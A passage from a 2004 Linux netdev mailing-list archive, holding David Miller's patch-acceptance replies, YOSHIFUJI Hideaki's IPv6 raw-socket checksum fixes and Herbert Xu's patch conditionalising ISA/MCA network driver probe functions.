i4K4HhhN031363; Thu, 20 May 2004 00:17:44 -0400 Date: Wed, 19 May 2004 21:17:42 -0700 From: "David S. Miller" To: Greg Banks Cc: netdev@oss.sgi.com Subject: Re: [PATCH] add more tg3 hardware stats to ethtool -S Message-Id: <20040519211742.075d9460.davem@redhat.com> In-Reply-To: <40A1FE56.37308F98@melbourne.sgi.com> References: <40A1FE56.37308F98@melbourne.sgi.com> X-Mailer: Sylpheed version 0.9.10 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5185 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Wed, 12 May 2004 20:37:10 +1000 Greg Banks wrote: > This patch adds a bunch of the more obscure tg3 hardware stats to the > output of "ethtool -S". Some of these are useful for diagnosing > performance problems, others are just for completeness. Patch applied, thanks. From davem@redhat.com Wed May 19 21:26:43 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 19 May 2004 21:26:55 -0700 (PDT) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4K4QhKO030115 for ; Wed, 19 May 2004 21:26:43 -0700 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i4K4QgGG007235; Thu, 20 May 2004 00:26:42 -0400 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i4K4Qg007680; Thu, 20 May 2004 00:26:42 -0400 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i4K4QehN001228; Thu, 20 May 2004 00:26:41 -0400 Date: Wed, 19 May 2004 21:26:39 -0700 From: "David S. Miller" To: Arthur Kepner Cc: netdev@oss.sgi.com Subject: Re: [PATCH] fix "ethtool -S" for tg3 Message-Id: <20040519212639.6b164454.davem@redhat.com> In-Reply-To: References: <20040512120810.464aaee6.davem@redhat.com> X-Mailer: Sylpheed version 0.9.10 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5186 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Wed, 12 May 2004 13:00:24 -0700 Arthur Kepner wrote: > On Wed, 12 May 2004, David S. Miller wrote: > > > ..... > > Patch doesn't apply, your mail client turned all the tabs > > into spaces. Use attachments if necessary, thanks. > > > > OK. Attached is the patch. Thanks a lot for following up on this Arthur. Patch applied. From davem@redhat.com Wed May 19 23:29:48 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 19 May 2004 23:29:50 -0700 (PDT) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4K6TlKO000312 for ; Wed, 19 May 2004 23:29:47 -0700 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i4K6TXGG000383; Thu, 20 May 2004 02:29:33 -0400 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i4K6TW031295; Thu, 20 May 2004 02:29:32 -0400 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i4K6TVhN030917; Thu, 20 May 2004 02:29:32 -0400 Date: Wed, 19 May 2004 23:29:29 -0700 From: "David S. Miller" To: yoshfuji@linux-ipv6.org Cc: mhuth@mvista.com, netdev@oss.sgi.com Subject: Re: tcp_ipv6_check_established Message-Id: <20040519232929.624da428.davem@redhat.com> In-Reply-To: <20040518.162213.76191660.yoshfuji@linux-ipv6.org> References: <40A163A4.8050905@mvista.com> <20040518.162213.76191660.yoshfuji@linux-ipv6.org> X-Mailer: Sylpheed version 0.9.10 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i4K6TlKO000312 X-archive-position: 5187 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Tue, 18 May 2004 16:22:13 +0900 (JST) YOSHIFUJI Hideaki / $B5HF#1QL@(B wrote: > Correct. David, please apply. Done. Thanks everyone. From yoshfuji@linux-ipv6.org Thu May 20 03:32:53 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 20 May 2004 03:32:56 -0700 (PDT) Received: from yue.hongo.wide.ad.jp ([203.178.140.15]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4KAWqKO010863 for ; Thu, 20 May 2004 03:32:52 -0700 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id AB04D33CE5; Thu, 20 May 2004 19:33:19 +0900 (JST) Date: Thu, 20 May 2004 19:33:12 +0900 (JST) Message-Id: <20040520.193312.19702393.yoshfuji@linux-ipv6.org> To: davem@redhat.com Cc: netdev@oss.sgi.com, yoshfuji@linux-ipv6.org Subject: [BK-PATCH 2.4] IPV6: ensure to evaluate checksum From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 5189 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev Hello. Following changesets fixes checksum for rawv6 sockets. - don't receive packets with incorrect checksum Please pull following csets from . Thanks in advance. CHANGESET --------- ChangeSet@1.1414, 2004-05-20 19:07:49+09:00, yoshfuji@linux-ipv6.org [IPV6] ensure to evaluate the checksum for sockets with the IPV6_CHECKSUM option. diff -Nru a/net/ipv6/raw.c b/net/ipv6/raw.c --- a/net/ipv6/raw.c Thu May 20 19:08:48 2004 +++ b/net/ipv6/raw.c Thu May 20 19:08:48 2004 @@ -279,8 +279,11 @@ static inline int rawv6_rcv_skb(struct sock * sk, struct sk_buff * skb) { + if ((sk->tp_pinfo.tp_raw.checksum #if defined(CONFIG_FILTER) - if (sk->filter && skb->ip_summed != CHECKSUM_UNNECESSARY) { + || sk->filter +#endif + ) && skb->ip_summed != CHECKSUM_UNNECESSARY) { if ((unsigned short)csum_fold(skb_checksum(skb, 0, skb->len, skb->csum))) { IP6_INC_STATS_BH(Ip6InDiscards); kfree_skb(skb); @@ -288,7 +291,6 @@ } skb->ip_summed = CHECKSUM_UNNECESSARY; } -#endif /* Charge it to the socket. */ if (sock_queue_rcv_skb(sk,skb)<0) { IP6_INC_STATS_BH(Ip6InDiscards); -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From yoshfuji@linux-ipv6.org Thu May 20 03:32:22 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 20 May 2004 03:32:27 -0700 (PDT) Received: from yue.hongo.wide.ad.jp ([203.178.140.15]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4KAWLKO010796 for ; Thu, 20 May 2004 03:32:21 -0700 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id 2AFA133CE5; Thu, 20 May 2004 19:32:48 +0900 (JST) Date: Thu, 20 May 2004 19:32:40 +0900 (JST) Message-Id: <20040520.193240.67952249.yoshfuji@linux-ipv6.org> To: davem@redhat.com Cc: netdev@oss.sgi.com, yoshfuji@linux-ipv6.org Subject: [BK-PATCH 2.6] IPV6: Fix checksum for rawv6 sockets From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 5188 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev Hello. Following changesets fixes checksum for rawv6 sockets. - send appropriate checksum - don't receive packets with incorrect checksum - ensure to notify return code to the caller. Please pull following csets from . Thanks in advance. CHANGESET --------- ChangeSet@1.1793, 2004-05-20 18:20:15+09:00, yoshfuji@linux-ipv6.org [IPV6] handle return value from ip6_push_pending_frames(). diff -Nru a/net/ipv6/raw.c b/net/ipv6/raw.c --- a/net/ipv6/raw.c Thu May 20 19:09:12 2004 +++ b/net/ipv6/raw.c Thu May 20 19:09:12 2004 @@ -485,7 +485,7 @@ } if (*csum == 0) *csum = -1; - ip6_push_pending_frames(sk); + err = ip6_push_pending_frames(sk); out: return err; } ChangeSet@1.1794, 2004-05-20 18:23:35+09:00, yoshfuji@linux-ipv6.org [IPV6] unify XXX_push_pending_frames() code path for rawv6 sockets. diff -Nru a/net/ipv6/raw.c b/net/ipv6/raw.c --- a/net/ipv6/raw.c Thu May 20 19:09:15 2004 +++ b/net/ipv6/raw.c Thu May 20 19:09:15 2004 @@ -453,6 +453,9 @@ int err = 0; u16 *csum; + if (!opt->checksum) + goto send; + if ((skb = skb_peek(&sk->sk_write_queue)) == NULL) goto out; @@ -485,6 +488,7 @@ } if (*csum == 0) *csum = -1; +send: err = ip6_push_pending_frames(sk); out: return err; @@ -702,13 +706,8 @@ if (err) ip6_flush_pending_frames(sk); - else if (!(msg->msg_flags & MSG_MORE)) { - if (raw_opt->checksum) { - err = rawv6_push_pending_frames(sk, &fl, raw_opt, len); - } else { - err = ip6_push_pending_frames(sk); - } - } + else if (!(msg->msg_flags & MSG_MORE)) + err = rawv6_push_pending_frames(sk, &fl, raw_opt, len); } done: ip6_dst_store(sk, dst, ChangeSet@1.1795, 2004-05-20 18:30:34+09:00, yoshfuji@linux-ipv6.org [IPV6] unify csum_ipv6_magic() code path for rawv6 sockets. diff -Nru a/net/ipv6/raw.c b/net/ipv6/raw.c --- a/net/ipv6/raw.c Thu May 20 19:09:18 2004 +++ b/net/ipv6/raw.c Thu May 20 19:09:18 2004 @@ -452,6 +452,7 @@ struct sk_buff *skb; int err = 0; u16 *csum; + u32 tmp_csum; if (!opt->checksum) goto send; @@ -466,26 +467,24 @@ goto out; } + /* should be check HW csum miyazawa */ if (skb_queue_len(&sk->sk_write_queue) == 1) { /* * Only one fragment on the socket. */ - /* should be check HW csum miyazawa */ - *csum = csum_ipv6_magic(&fl->fl6_src, - &fl->fl6_dst, - len, fl->proto, skb->csum); + tmp_csum = skb->csum; } else { - u32 tmp_csum = 0; + tmp_csum = 0; skb_queue_walk(&sk->sk_write_queue, skb) { tmp_csum = csum_add(tmp_csum, skb->csum); } - - tmp_csum = csum_ipv6_magic(&fl->fl6_src, - &fl->fl6_dst, - len, fl->proto, tmp_csum); - *csum = tmp_csum; } + + *csum = csum_ipv6_magic(&fl->fl6_src, + &fl->fl6_dst, + len, fl->proto, tmp_csum); + if (*csum == 0) *csum = -1; send: ChangeSet@1.1796, 2004-05-20 18:33:44+09:00, yoshfuji@linux-ipv6.org [IPV6] put appropriate checksum for rawv6 sockets even if it was not initialized. diff -Nru a/net/ipv6/raw.c b/net/ipv6/raw.c --- a/net/ipv6/raw.c Thu May 20 19:09:20 2004 +++ b/net/ipv6/raw.c Thu May 20 19:09:20 2004 @@ -481,6 +481,10 @@ } } + /* in case cksum was not initialized */ + if (unlikely(*csum)) + tmp_csum = csum_sub(tmp_csum, *csum); + *csum = csum_ipv6_magic(&fl->fl6_src, &fl->fl6_dst, len, fl->proto, tmp_csum); ChangeSet@1.1797, 2004-05-20 18:41:07+09:00, yoshfuji@linux-ipv6.org [IPV6] ensure to evaluate the checksum for sockets with the IPV6_CHECKSUM option. diff -Nru a/net/ipv6/raw.c b/net/ipv6/raw.c --- a/net/ipv6/raw.c Thu May 20 19:09:23 2004 +++ b/net/ipv6/raw.c Thu May 20 19:09:23 2004 @@ -283,7 +283,8 @@ static inline int rawv6_rcv_skb(struct sock * sk, struct sk_buff * skb) { - if (sk->sk_filter && skb->ip_summed != CHECKSUM_UNNECESSARY) { + if ((raw6_sk(sk)->checksum || sk->sk_filter) && + skb->ip_summed != CHECKSUM_UNNECESSARY) { if ((unsigned short)csum_fold(skb_checksum(skb, 0, skb->len, skb->csum))) { /* FIXME: increment a raw6 drops counter here */ kfree_skb(skb); -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From herbert@gondor.apana.org.au Thu May 20 04:20:20 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 20 May 2004 04:21:38 -0700 (PDT) Received: from arnor.apana.org.au (mail@arnor.apana.org.au [203.14.152.115]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4KBKGKO016249 for ; Thu, 20 May 2004 04:20:18 -0700 Received: from gondolin.me.apana.org.au ([192.168.0.6] ident=mail) by arnor.apana.org.au with esmtp (Exim 3.35 #1 (Debian)) id 1BQlaX-0003nh-00; Thu, 20 May 2004 21:19:49 +1000 Received: from herbert by gondolin.me.apana.org.au with local (Exim 3.36 #1 (Debian)) id 1BQlaM-0005sB-00; Thu, 20 May 2004 21:19:38 +1000 Date: Thu, 20 May 2004 21:19:37 +1000 To: Jeff Garzik , netdev@oss.sgi.com Subject: 1/x: [NETDRV] Ifdef builtin-only probe in ISA/MCA drivers Message-ID: <20040520111937.GA21804@gondor.apana.org.au> References: <20040313025859.GA8186@gondor.apana.org.au> <405C294D.5040508@pobox.com> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="RnlQjJ0d97Da+TV1" Content-Disposition: inline In-Reply-To: <405C294D.5040508@pobox.com> User-Agent: Mutt/1.5.5.1+cvs20040105i From: Herbert Xu X-archive-position: 5190 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: herbert@gondor.apana.org.au Precedence: bulk X-list: netdev --RnlQjJ0d97Da+TV1 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline On Sat, Mar 20, 2004 at 06:21:49AM -0500, Jeff Garzik wrote: > > I like the patch, but it is awfully big and wants splitting up. > > Some early pieces to send (each as a separate patch): > > * add #ifndef MODULE where appropriate Thanks for the comments. I'll split it up. Here is the bit which conditionalises the builtin-only probe functions. Cheers, -- Visit Openswan at http://www.openswan.org/ Email: Herbert Xu ~{PmV>HI~} Home Page: http://gondor.apana.org.au/~herbert/ PGP Key: http://gondor.apana.org.au/~herbert/pubkey.txt --RnlQjJ0d97Da+TV1 Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename=p # This is a BitKeeper generated patch for the following project: # Project Name: Linux kernel tree # This patch format is intended for GNU patch command version 2.5 or higher. # This patch includes the following deltas: # ChangeSet 1.1807 -> 1.1808 # drivers/net/eexpress.c 1.17 -> 1.18 # drivers/net/hp-plus.c 1.14 -> 1.15 # drivers/net/wd.c 1.17 -> 1.18 # drivers/net/lance.c 1.21 -> 1.22 # drivers/net/smc-ultra.c 1.20 -> 1.21 # drivers/net/hp.c 1.12 -> 1.13 # drivers/net/ne2k_cbus.c 1.5 -> 1.6 # drivers/net/ne-h8300.c 1.1 -> 1.2 # drivers/net/hp100.c 1.27 -> 1.28 # drivers/net/ne.c 1.20 -> 1.21 # drivers/net/3c523.c 1.14 -> 1.15 # drivers/net/ac3200.c 1.17 -> 1.18 # drivers/net/3c503.c 1.18 -> 1.19 # drivers/net/eepro.c 1.23 -> 1.24 # drivers/net/es3210.c 1.12 -> 1.13 # drivers/net/cs89x0.c 1.22 -> 1.23 # drivers/net/eth16i.c 1.17 -> 1.18 # drivers/net/e2100.c 1.16 -> 1.17 # drivers/net/lne390.c 1.12 -> 1.13 # drivers/net/isa-skeleton.c 1.12 -> 1.13 # drivers/net/ewrk3.c 1.28 -> 1.29 # drivers/net/ne2.c 1.14 -> 1.15 # drivers/net/3c505.c 1.28 -> 1.29 # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- # 04/05/20 herbert@gondor.apana.org.au 1.1808 # [NETDRV] Conditionalise builtin-only probe function in ISA/MCA drivers. # -------------------------------------------- # diff -Nru a/drivers/net/3c503.c b/drivers/net/3c503.c --- a/drivers/net/3c503.c Thu May 20 21:16:23 2004 +++ b/drivers/net/3c503.c Thu May 20 21:16:23 2004 @@ -147,6 +147,7 @@ release_region(dev->base_addr, EL2_IO_EXTENT); } +#ifndef MODULE struct net_device * __init el2_probe(int unit) { struct net_device *dev = alloc_ei_netdev(); @@ -171,6 +172,7 @@ free_netdev(dev); return ERR_PTR(err); } +#endif /* Probe for the Etherlink II card at I/O port base IOADDR, returning non-zero on success. If found, set the station diff -Nru a/drivers/net/3c505.c b/drivers/net/3c505.c --- a/drivers/net/3c505.c Thu May 20 21:16:23 2004 +++ b/drivers/net/3c505.c Thu May 20 21:16:23 2004 @@ -1614,6 +1614,7 @@ return err; } +#ifndef MODULE struct net_device * __init elplus_probe(int unit) { struct net_device *dev = alloc_etherdev(sizeof(elp_device)); @@ -1632,7 +1633,7 @@ return dev; } -#ifdef MODULE +#else static struct net_device *dev_3c505[ELP_MAX_CARDS]; static int io[ELP_MAX_CARDS]; static int irq[ELP_MAX_CARDS]; diff -Nru a/drivers/net/3c523.c b/drivers/net/3c523.c --- a/drivers/net/3c523.c Thu May 20 21:16:23 2004 +++ b/drivers/net/3c523.c Thu May 20 21:16:23 2004 @@ -585,6 +585,7 @@ release_region(dev->base_addr, ELMC_IO_EXTENT); } +#ifndef MODULE struct net_device * __init elmc_probe(int unit) { struct net_device *dev = alloc_etherdev(sizeof(struct priv)); @@ -609,6 +610,7 @@ free_netdev(dev); return ERR_PTR(err); } +#endif /********************************************** * init the chip (elmc-interrupt should be disabled?!) diff -Nru a/drivers/net/ac3200.c b/drivers/net/ac3200.c --- a/drivers/net/ac3200.c Thu May 20 21:16:23 2004 +++ b/drivers/net/ac3200.c Thu May 20 21:16:23 2004 @@ -130,6 +130,7 @@ iounmap((void *)dev->mem_start); } +#ifndef MODULE struct net_device * __init ac3200_probe(int unit) { struct net_device *dev = alloc_ei_netdev(); @@ -154,6 +155,7 @@ free_netdev(dev); return ERR_PTR(err); } +#endif static int __init ac_probe1(int ioaddr, struct net_device *dev) { diff -Nru a/drivers/net/cs89x0.c b/drivers/net/cs89x0.c --- a/drivers/net/cs89x0.c Thu May 20 21:16:23 2004 +++ b/drivers/net/cs89x0.c Thu May 20 21:16:23 2004 @@ -261,7 +261,6 @@ } __setup("cs89x0_media=", media_fn); -#endif /* Check for a network adaptor of this type, and return '0' iff one exists. @@ -318,6 +317,7 @@ printk(KERN_WARNING "cs89x0: no cs8900 or cs8920 detected. Be sure to disable PnP with SETUP\n"); return ERR_PTR(err); } +#endif static int readreg(struct net_device *dev, int portno) diff -Nru a/drivers/net/e2100.c b/drivers/net/e2100.c --- a/drivers/net/e2100.c Thu May 20 21:16:23 2004 +++ b/drivers/net/e2100.c Thu May 20 21:16:23 2004 @@ -144,6 +144,7 @@ release_region(dev->base_addr, E21_IO_EXTENT); } +#ifndef MODULE struct net_device * __init e2100_probe(int unit) { struct net_device *dev = alloc_ei_netdev(); @@ -168,6 +169,7 @@ free_netdev(dev); return ERR_PTR(err); } +#endif static int __init e21_probe1(struct net_device *dev, int ioaddr) { diff -Nru a/drivers/net/eepro.c b/drivers/net/eepro.c --- a/drivers/net/eepro.c Thu May 20 21:16:23 2004 +++ b/drivers/net/eepro.c Thu May 20 21:16:23 2004 @@ -577,6 +577,7 @@ return -ENODEV; } +#ifndef MODULE struct net_device * __init eepro_probe(int unit) { struct net_device *dev = alloc_etherdev(sizeof(struct eepro_local)); @@ -603,6 +604,7 @@ free_netdev(dev); return ERR_PTR(err); } +#endif static void __init printEEPROMInfo(short ioaddr, struct net_device *dev) { diff -Nru a/drivers/net/eexpress.c b/drivers/net/eexpress.c --- a/drivers/net/eexpress.c Thu May 20 21:16:23 2004 +++ b/drivers/net/eexpress.c Thu May 20 21:16:23 2004 @@ -423,6 +423,7 @@ return -ENODEV; } +#ifndef MODULE struct net_device * __init express_probe(int unit) { struct net_device *dev = alloc_etherdev(sizeof(struct net_local)); @@ -443,6 +444,7 @@ free_netdev(dev); return ERR_PTR(err); } +#endif /* * open and initialize the adapter, ready for use diff -Nru a/drivers/net/es3210.c b/drivers/net/es3210.c --- a/drivers/net/es3210.c Thu May 20 21:16:23 2004 +++ b/drivers/net/es3210.c Thu May 20 21:16:23 2004 @@ -161,6 +161,7 @@ release_region(dev->base_addr, ES_IO_EXTENT); } +#ifndef MODULE struct net_device * __init es_probe(int unit) { struct net_device *dev = alloc_ei_netdev(); @@ -185,6 +186,7 @@ free_netdev(dev); return ERR_PTR(err); } +#endif static int __init es_probe1(struct net_device *dev, int ioaddr) { diff -Nru a/drivers/net/eth16i.c b/drivers/net/eth16i.c --- a/drivers/net/eth16i.c Thu May 20 21:16:23 2004 +++ b/drivers/net/eth16i.c Thu May 20 21:16:23 2004 @@ -458,6 +458,7 @@ return -ENODEV; } +#ifndef MODULE struct net_device * __init eth16i_probe(int unit) { struct net_device *dev = alloc_etherdev(sizeof(struct eth16i_local)); @@ -483,6 +484,7 @@ free_netdev(dev); return ERR_PTR(err); } +#endif static int __init eth16i_probe1(struct net_device *dev, int ioaddr) { diff -Nru a/drivers/net/ewrk3.c b/drivers/net/ewrk3.c --- a/drivers/net/ewrk3.c Thu May 20 21:16:23 2004 +++ b/drivers/net/ewrk3.c Thu May 20 21:16:23 2004 @@ -341,6 +341,7 @@ mdelay(1);\ } +#ifndef MODULE struct net_device * __init ewrk3_probe(int unit) { struct net_device *dev = alloc_etherdev(sizeof(struct ewrk3_private)); @@ -364,6 +365,7 @@ return ERR_PTR(err); } +#endif static int __init ewrk3_probe1(struct net_device *dev, u_long iobase, int irq) { diff -Nru a/drivers/net/hp-plus.c b/drivers/net/hp-plus.c --- a/drivers/net/hp-plus.c Thu May 20 21:16:23 2004 +++ b/drivers/net/hp-plus.c Thu May 20 21:16:23 2004 @@ -142,6 +142,7 @@ release_region(dev->base_addr - NIC_OFFSET, HP_IO_EXTENT); } +#ifndef MODULE struct net_device * __init hp_plus_probe(int unit) { struct net_device *dev = alloc_ei_netdev(); @@ -166,6 +167,7 @@ free_netdev(dev); return ERR_PTR(err); } +#endif /* Do the interesting part of the probe at a single address. */ static int __init hpp_probe1(struct net_device *dev, int ioaddr) diff -Nru a/drivers/net/hp.c b/drivers/net/hp.c --- a/drivers/net/hp.c Thu May 20 21:16:23 2004 +++ b/drivers/net/hp.c Thu May 20 21:16:23 2004 @@ -106,6 +106,7 @@ release_region(dev->base_addr - NIC_OFFSET, HP_IO_EXTENT); } +#ifndef MODULE struct net_device * __init hp_probe(int unit) { struct net_device *dev = alloc_ei_netdev(); @@ -130,6 +131,7 @@ free_netdev(dev); return ERR_PTR(err); } +#endif static int __init hp_probe1(struct net_device *dev, int ioaddr) { diff -Nru a/drivers/net/hp100.c b/drivers/net/hp100.c --- a/drivers/net/hp100.c Thu May 20 21:16:23 2004 +++ b/drivers/net/hp100.c Thu May 20 21:16:23 2004 @@ -386,6 +386,7 @@ } +#ifndef MODULE struct net_device * __init hp100_probe(int unit) { struct net_device *dev = alloc_etherdev(sizeof(struct hp100_private)); @@ -420,6 +421,7 @@ free_netdev(dev); return ERR_PTR(err); } +#endif static int __init hp100_probe1(struct net_device *dev, int ioaddr, u_char bus, struct pci_dev *pci_dev) diff -Nru a/drivers/net/isa-skeleton.c b/drivers/net/isa-skeleton.c --- a/drivers/net/isa-skeleton.c Thu May 20 21:16:23 2004 +++ b/drivers/net/isa-skeleton.c Thu May 20 21:16:23 2004 @@ -161,6 +161,7 @@ release_region(dev->base_addr, NETCARD_IO_EXTENT); } +#ifndef MODULE struct net_device * __init netcard_probe(int unit) { struct net_device *dev = alloc_etherdev(sizeof(struct net_local)); @@ -185,6 +186,7 @@ free_netdev(dev); return ERR_PTR(err); } +#endif /* * This is the real probe routine. Linux has a history of friendly device diff -Nru a/drivers/net/lance.c b/drivers/net/lance.c --- a/drivers/net/lance.c Thu May 20 21:16:23 2004 +++ b/drivers/net/lance.c Thu May 20 21:16:23 2004 @@ -432,6 +432,7 @@ return -ENODEV; } +#ifndef MODULE struct net_device * __init lance_probe(int unit) { struct net_device *dev = alloc_etherdev(0); @@ -456,6 +457,7 @@ free_netdev(dev); return ERR_PTR(err); } +#endif static int __init lance_probe1(struct net_device *dev, int ioaddr, int irq, int options) { diff -Nru a/drivers/net/lne390.c b/drivers/net/lne390.c --- a/drivers/net/lne390.c Thu May 20 21:16:23 2004 +++ b/drivers/net/lne390.c Thu May 20 21:16:23 2004 @@ -151,6 +151,7 @@ iounmap((void *)dev->mem_start); } +#ifndef MODULE struct net_device * __init lne390_probe(int unit) { struct net_device *dev = alloc_ei_netdev(); @@ -175,6 +176,7 @@ free_netdev(dev); return ERR_PTR(err); } +#endif static int __init lne390_probe1(struct net_device *dev, int ioaddr) { diff -Nru a/drivers/net/ne-h8300.c b/drivers/net/ne-h8300.c --- a/drivers/net/ne-h8300.c Thu May 20 21:16:23 2004 +++ b/drivers/net/ne-h8300.c Thu May 20 21:16:23 2004 @@ -156,6 +156,7 @@ release_region(dev->base_addr, NE_IO_EXTENT); } +#ifndef MODULE struct net_device * __init ne_probe(int unit) { struct net_device *dev = alloc_ei_netdev(); @@ -187,6 +188,7 @@ free_netdev(dev); return ERR_PTR(err); } +#endif static int __init ne_probe1(struct net_device *dev, int ioaddr) { diff -Nru a/drivers/net/ne.c b/drivers/net/ne.c --- a/drivers/net/ne.c Thu May 20 21:16:23 2004 +++ b/drivers/net/ne.c Thu May 20 21:16:23 2004 @@ -203,6 +203,7 @@ release_region(dev->base_addr, NE_IO_EXTENT); } +#ifndef MODULE struct net_device * __init ne_probe(int unit) { struct net_device *dev = alloc_ei_netdev(); @@ -227,6 +228,7 @@ free_netdev(dev); return ERR_PTR(err); } +#endif static int __init ne_probe_isapnp(struct net_device *dev) { diff -Nru a/drivers/net/ne2.c b/drivers/net/ne2.c --- a/drivers/net/ne2.c Thu May 20 21:16:23 2004 +++ b/drivers/net/ne2.c Thu May 20 21:16:23 2004 @@ -284,6 +284,7 @@ release_region(dev->base_addr, NE_IO_EXTENT); } +#ifndef MODULE struct net_device * __init ne2_probe(int unit) { struct net_device *dev = alloc_ei_netdev(); @@ -308,6 +309,7 @@ free_netdev(dev); return ERR_PTR(err); } +#endif static int ne2_procinfo(char *buf, int slot, struct net_device *dev) { diff -Nru a/drivers/net/ne2k_cbus.c b/drivers/net/ne2k_cbus.c --- a/drivers/net/ne2k_cbus.c Thu May 20 21:16:23 2004 +++ b/drivers/net/ne2k_cbus.c Thu May 20 21:16:23 2004 @@ -187,6 +187,7 @@ ne2k_cbus_destroy(dev); } +#ifndef MODULE struct net_device * __init ne_probe(int unit) { struct net_device *dev = alloc_ei_netdev(); @@ -211,6 +212,7 @@ free_netdev(dev); return ERR_PTR(err); } +#endif static int __init ne_probe_cbus(struct net_device *dev, const struct ne2k_cbus_hwinfo *hw, int ioaddr, int irq) { diff 